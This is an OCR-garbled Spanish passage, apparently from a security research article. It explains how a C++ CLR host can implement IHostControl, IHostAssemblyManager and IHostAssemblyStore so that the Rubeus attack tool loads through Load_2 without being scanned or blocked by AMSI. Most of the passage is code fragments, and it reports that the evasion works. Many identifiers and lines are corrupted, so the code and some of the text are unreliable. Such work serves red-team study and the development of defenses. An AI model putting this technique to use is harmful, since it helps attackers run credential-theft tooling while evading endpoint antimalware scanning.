UID del usuario como resultado por consola de comandos .

_bstr_t managedMethodNamé_"MainString');
_variant_t managedReturnValug
_variant_t empty;
managedType>InvokeMember_3(
managedMethodName
static_castBindingFlags(BindingFlags_InvokeMethod
BindingFlags_Stati¢ BindingFlags_Public
NULL, emptymanagedArguments
&managedReturnValug

std::.wcout << ‘constwchar t"} managedReturnVaIue.bstrVgI




Usando el método anterior, el assembly Rubeus.dll seria analizado y bloqueado, dado que no se encuentra
ofuscado, por AMSI. Por ello, se explicara a continuacibn como se debe realizar la modificacién en la carga
de los assemblies .

La primera diferencia con respecto al método anterior es que antes de iniciar CLRmediante la funcién Start,
se debe indicar que el host (C++)va a implementar ciertas funcionalidades del runtime .

CHostControl pHostControl{}; // Se explicara mas adelante.runtimeHost
>SetHostControl((IHostControl*)&pHostControl);runtimeHes6tart();//

Obtener app domaini gcargar assembly, etc.

Posteriormente, se hara uso de la funcion Load 2, que sustituira la anterior Load 3, y que en cuyos
parametros de entrada se encontrard assembly strong name. El objetivo es que la CLRintente buscar el
assembly, pero al no encontrarlo, solicitara al host (C++) que lo proporcione . Esto ocurre porque hemos
indicado ala CLRque el host (C++)implementa un administrador de assemblies.

defaultAppDomain>Load_2(bstr_t("Rubeus, Version=1.0.0.0, Culture=neutrBiublicKkeyTokenf8c620333ce4e57¢e

ErocessorArchitectureMSIL"}I &assembly):

Para indicar a la CLR que se implementa un administrador de assemblies, se hace uso de la
implementacion de la interfaz IHostControl . En este punto, cabe destacar que aquellas interfaces que
comienzan por ICLR* como las anteriormente vistas, son las implementadas por la CLRy que permiten al
host (C++) comunicarse con la runtime . Por otro lado, se encuentran las interfaces IHost* que permiten
configurar ciertos aspectos como la carga de assemblies, la gestiébn de hilos o la recoleccién de basura.

Por tanto, para cargar un assembly en memoria solo es necesario implementar las siguientes interfaces
COM:

¥ IHostControl : Permite saber ala CLRque interfaces han sido implementadas por el host (C++).
¥ IHostAssemblyManager : Obtiene un puntero de interfaz a un elemento IHostAssemblyStore .

¥ IHostAssemblyStore : Proporciona métodos que permiten a un host (C++) cargar assemblies y médulos
independientes de CLR

El componente que implementa la interfaz IHostControl se llama CHostControl. Ademds, deben
implementarse las funciones GetHostManager y SetAppDomainManager , que, dado que no se
personalizaran los Application Domains, se devuelve una constante S_OK La funcion GetHostManager es
donde se devuelve una referencia al administrador de assemblies cuando la CLRpregunte por su interfaz .
Es importante destacar que se han omitido las definiciones de las funciones Querylnterface , AddRef y
Release, las cuales deben implementarse para cumplir con la interfaz IlUknown que todo componente COM
debe implementar .

classCHostControl public IHostControl{
HRESULT STDMETHODCALLG#&tPIBstManagef
/* [in] */ REFIIDriid,
/* [out] */ void** ppObjec) override {
if (riid ==IID_IHostAssemblyManaggf
CHostAssemblyManag&mgr= newCHostAssemblyManagéy;
mgr->AddRef);
*ppObject=static_casklHostAssemblyManagér(mgr);
return S_OK;
}
return E_NOINTERFACE;
}
HRESULT STDMETHODCALLI&tREpDomainManagér
[* [in] */ DWORD dwAppDomainiD
[*[in] */  1Unknown* pUnkAppDomainManagér override {
return S_OK;
} /I Se haomitido implementacionde Querylnterface AddRefy Release
1




Las funciones que deben implementarse de IHostControl son dos: GetHostManager vy
SetAppDomainManager . Como no se personalizaran los Application Domains , se devuelve una constante
S _OK La funcibn GetHostManager es donde se devuelve una referencia al administrador de assemblies
cuando la CLRpregunte por su interfaz .

Por otro lado, la clase CHostAssemblyManager implementa la interfaz IHostAssemblyManager . En este
caso, solo hay que implementar los métodos :

¥ GetNonHostStoreAssemblies : Indica a la CLRque assemblies debe cargar el runtime sin utilizar la carga
personalizada del host (C++), la cual se mostrard posteriormente en la clase CHostAssemblyStore . Esto
permite que el runtime cargue los assemblies del sistema. Sise devuelve la lista como nula, como se ha
hecho en la implementacién, esto significa que la CLR debe buscar primero todos los assemblies que se
intenten cargar en el Global Assembly Cache (GAC)y, si no se encuentran, llamar al método propio del
IHostAssemblyStore del host (C++).

¥ GetAssemblyStore : Devuelve una referencia a la clase CHostAssemblyStore que realizara la lectura y carga
modificada del assembly que se pide.

Semuestra a continuacion el cédigo comentado :

classCHostAssemblyManagerpublic IHostAssemblyManagef
/I Heredadoa través de IHostAssemblyManager
HRESULT stdcall GetNonHostStoreAssembliés

ICLRAssemblyReferencelisppReferenceList
)

{
*ppReferencelList NULL;
return S_OK;
}
HRESULT stdcall GetAssemblyStor@HostAssemblyStore ppAssemblyStorg
{

CHostAssemblyStorepHostStore= hew
CHostAssemblySto(g
*ppAssemblyStore= (HostAssemblyStorg pHostStore
((IHostAssemblyStor§* ppAssemblyStorg>AddRef);
return S_OK;
} /I Se haomitido implementacionde Queryinterface AddRefy Release

}:

La clase CHostAssemblyStore configura la carga de los assemblies que la CLRno encuentra en la GAC
Implementa la interfaz IHostAssemblyStore y solo es necesario codificar dos funciones :

¥ ProvideAssembly y ProvideModule : La diferencia entre un module y un assembly es que el primero es una
de las partes de un assembly de multiples archivos, ya que estos no tienen por qué estar en un solo archivo
.dll o .exe. La mayoria de los assemblies consisten en un solo archivo, por lo que en la implementacion de
ejemplo no se dara soporte a médulos y no se implementara ProvideModule .

La funcién ProvideAssembly recibe cinco parametros :
¥ pBindInfo : contiene la informacién de binding del assembly, como el nombre .

¥ pAssemblyld : es un ID que el host debe establecer, que sirve para hacer caché y evitar que se cargue dos
veces el mismo assembly .

¥ pContext : es un contexto que se establece a nulo .

¥ ppStmAssemblylmage : es el de mayor interés, es un IStream que debe devolver el host (C++)y apuntar
hacia el assembly que se quiere cargar. Un IStream es una interfaz que abstrae el acceso a datos, y se
puede crear a partir de un buffer de memoria con la funcion SHCreateMemStream .

¥ ppStmPDB: es un IStream que puede devolver el host (C++) para apuntar a un Program DataBase con
datos de depuraciéon del assembly .



En el cdédigo de ejemplo, se carga el mismo assembly de manera constante. Esto implica que
independientemente del assembly que se intente cargar, siempre se devolvera el assembly de Rubeus.
Aungue esta practica no es recomendable, es adecuada para propésitos ilustrativos en este caso.

Con la implementacion de estas medidas, se ha logrado la carga de un assembly como Rubeus sin ser
analizado ni bloqueado por AMSI. Este resultado se atribuye a que al cargar Rubeus mediante la funcion
Load 2, el host (C++)lo suministra, evitando asi su andlisis por parte de AMSI.

La principal limitacion de esta técnica radica en su dependencia del CLRHosting . Otra limitacién relevante
es la necesidad de que el assembly a cargar esté firmado, ya que hasta el momento no se ha identificado
un método para solicitar la carga de un ensamblado sin recurrir a un strong name. Aunque tedéricamente
seria posible con un weak name, en la practica no se ha logrado .

En cuanto a futuras lineas surgen las siguientes preguntas : ¢ Seraposible cargar un assembly directamente
desde un IStream en C#? ¢ Ydesde PowerShell?
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